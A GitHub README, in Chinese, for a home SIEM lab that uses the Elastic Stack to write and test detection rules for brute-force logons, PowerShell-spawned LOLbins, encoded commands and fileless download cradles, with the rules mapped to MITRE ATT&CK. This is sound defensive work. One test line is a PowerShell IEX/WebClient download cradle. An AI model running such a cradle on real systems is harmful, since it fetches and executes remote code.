Roman-Layer01/siem-lab
GitHub: Roman-Layer01/siem-lab
基于 Elastic Stack 的家庭 SIEM 实验室,用于端点日志采集与安全检测规则的工程化开发与验证。
Stars: 0 | Forks: 0
# 家庭 SIEM 实验室 – Elastic Stack 检测管道
## 目标
构建一个功能性的 SIEM 环境,用于接收 Windows 端点日志,验证遥测数据,并针对可疑活动开发检测规则。
## 实验室架构
Windows 11 虚拟机 (端点)
↓
Elastic Agent (日志收集)
↓
Fleet Server (管理层)
↓
Elasticsearch (数据存储)
↓
Kibana (可视化与检测)
## 环境
- VMware Workstation (虚拟化实验室)
- Ubuntu Server (Elastic Stack 主机)
- Windows 11 虚拟机 (日志源)
- Elastic Stack:
- Elasticsearch
- Kibana
- Fleet Server
- Elastic Agent
## 实施过程
### SIEM 部署
- 在 Ubuntu 上安装并配置了 Elasticsearch
- 设置了 Kibana 并启用了远程访问 (0.0.0.0)
- 在 Ubuntu 上部署了 Fleet Server
- 在 Windows 11 虚拟机上安装了 Elastic Agent
- 将端点连接到 Fleet 以进行集中管理
### 日志接收管道
成功构建了正常运行的工作管道:
Windows 事件日志
→ Elastic Agent
→ Fleet Server
→ Elasticsearch
→ Kibana
验证了 Windows 安全日志的接收。
## 检测工程
### 登录失败检测规则
**目标:** 检测暴力破解或未经授权的访问尝试。
**查询:**
```
event.code: 4625 and winlog.channel: "Security" and winlog.computer_name: "DesktopWin11.THE.WIRED"
```
**规则逻辑:**
- 阈值:3 次登录失败
- 时间窗口:5 分钟
- 运行频率:每 1 分钟
**关键调整:**
- 最初设置为 5 次尝试
- 由于 Windows 默认的账户锁定行为,减少至 3 次
✅ 通过模拟登录失败尝试成功触发了告警
### PowerShell 父子进程检测
**目标:** 检测由 PowerShell 派生的进程,表明存在潜在的基于脚本的执行。
**查询 (基线):**
```
event.code: "4688" AND process.parent.name: "powershell.exe"
```
**查询 (高保真):**
```
event.code: "4688" AND process.parent.name: "powershell.exe" AND process.name: ("cmd.exe" OR "rundll32.exe" OR "mshta.exe" OR "wscript.exe")
```
**关键洞察:**
- 广泛的检测提供了对 PowerShell 活动的可见性
- 高保真检测针对常被滥用的二进制文件 (LOLbins)
✅ 使用模拟的进程执行成功触发了告警
### 编码的 PowerShell 命令检测
**目标:** 检测使用编码命令进行混淆的 PowerShell 执行。
**查询:**
```
event.code: "4104" AND powershell.file.script_block_text: ("-enc" OR "-encodedcommand")
```
**关键洞察:**
- 编码命令通常用于逃避检测
- 检测依赖于 Script Block Logging (事件 ID 4104)
✅ 使用编码命令执行成功触发了告警
### PowerShell 下载 Cradle 检测 (无文件恶意软件)
**目标:** 检测使用 PowerShell 在内存中下载并执行远程代码的无文件恶意软件技术。
**查询:**
```
event.code: "4104" AND powershell.file.script_block_text: ("IEX" AND "WebClient")
```
**测试:**
```
IEX (New-Object Net.WebClient).DownloadString("http://example.com")
```
**关键洞察:**
- 代表了真实攻击者的行为 (无文件执行)
- 在内存中执行 payload,无需写入磁盘
- 依赖于 Script Block Logging 的可见性
✅ 通过模拟无文件执行成功触发了告警
## PowerShell 日志调查
### 目标
了解 PowerShell 事件日志记录中的差异并提高检测准确性。
### 观察结果
- 事件 ID 400 → PowerShell 会话启动 (无命令可见性)
- 事件 ID 4104 → Script Block Logging (捕获命令内容)
### 问题
初始检测在 PowerShell 会话创建时触发,而不是在实际命令执行时触发。
### 发现
- 打开 PowerShell 并不能保证命令可见性
- 必须启用 Script Block Logging 才能获取有用的遥测数据
- 即使启用了日志记录,某些活动也可能无法被持续捕获
### 示例查询
```
winlog.computer_name: "DesktopWin11.THE.WIRED" AND event.code: (400 OR 4104 OR 4105 OR 4106)
```
### 经验教训
检测工程必须与**实际的遥测行为**保持一致,而不是基于假设。
## 故障排除与问题解决
### 问题:Windows 日志未在 Kibana 中显示
**根本原因:** Fleet 输出与 Kibana 主机不匹配
**解决方案:** 更正了配置
### 问题:Kibana 变得无法访问
**根本原因:** Ubuntu 服务器上的 DHCP IP 发生更改
**解决方案:** 更新了配置
### 问题:Elastic 安装失败
**根本原因:** 磁盘空间不足 (20GB)
**解决方案:** 将磁盘扩展至 60GB 并调整了文件系统大小
### 问题:检测规则未触发
**根本原因:** 数据视图不正确
**解决方案:** 更新为 logs-*
### 问题:PowerShell 检测测试最初失败
**根本原因:** 命令在错误的 shell 上下文中执行
**解决方案:** 在正确的 PowerShell 环境中重新运行了测试
## 检测覆盖范围 (MITRE ATT&CK)
本实验室将检测逻辑与 MITRE ATT&CK 框架保持一致,该框架将真实世界的攻击者行为映射为战术 (目标) 和技术 (用于实现这些目标的方法)。
### 涵盖的战术与技术
- **T1059.001 – PowerShell (执行)**
- 使用进程创建 (事件 ID 4688) 检测基于 PowerShell 的脚本执行
- **T1027 – 混淆/编码的文件或信息 (防御规避)**
- 检测编码的 PowerShell 命令的使用 (事件 ID 4104)
- **T1105 – 远程工具复制 (命令与控制)**
- 使用 PowerShell (IEX + WebClient) 检测下载 cradle 活动
- **T1110 – 暴力破解 (凭证访问)**
- 检测反复的登录失败尝试 (事件 ID 4625)
### 目的
将检测映射到 MITRE ATT&CK 提供了一种标准化的方法,以了解攻击者行为、评估检测覆盖率并改进防御策略。
``
## 关键经验教训
- 检测规则必须针对实际遥测数据进行验证
- 日志记录的缺失直接影响检测能力
- PowerShell 事件 ID 代表不同的行为
- 基础设施问题可能会悄无声息地破坏检测
- 检测工程需要迭代测试和改进
- 执行上下文会影响测试准确性
## 当前状态
✅ SIEM 后端已运行
✅ 端点遥测数据接收正常工作
✅ 检测规则已经过测试和验证
✅ 已实施多项行为检测
## 后续步骤
- 提高 Script Block Logging 的可靠性
- 扩展到 DNS/网络遥测 (集成 Pi-hole)
- 关联端点和网络活动
- 优化检测规则以减少误报
标签:Elastic Stack, MIT许可证, 后端开发, 安全运营, 对抗机器学习, 扫描框架, 流量重放, 越狱测试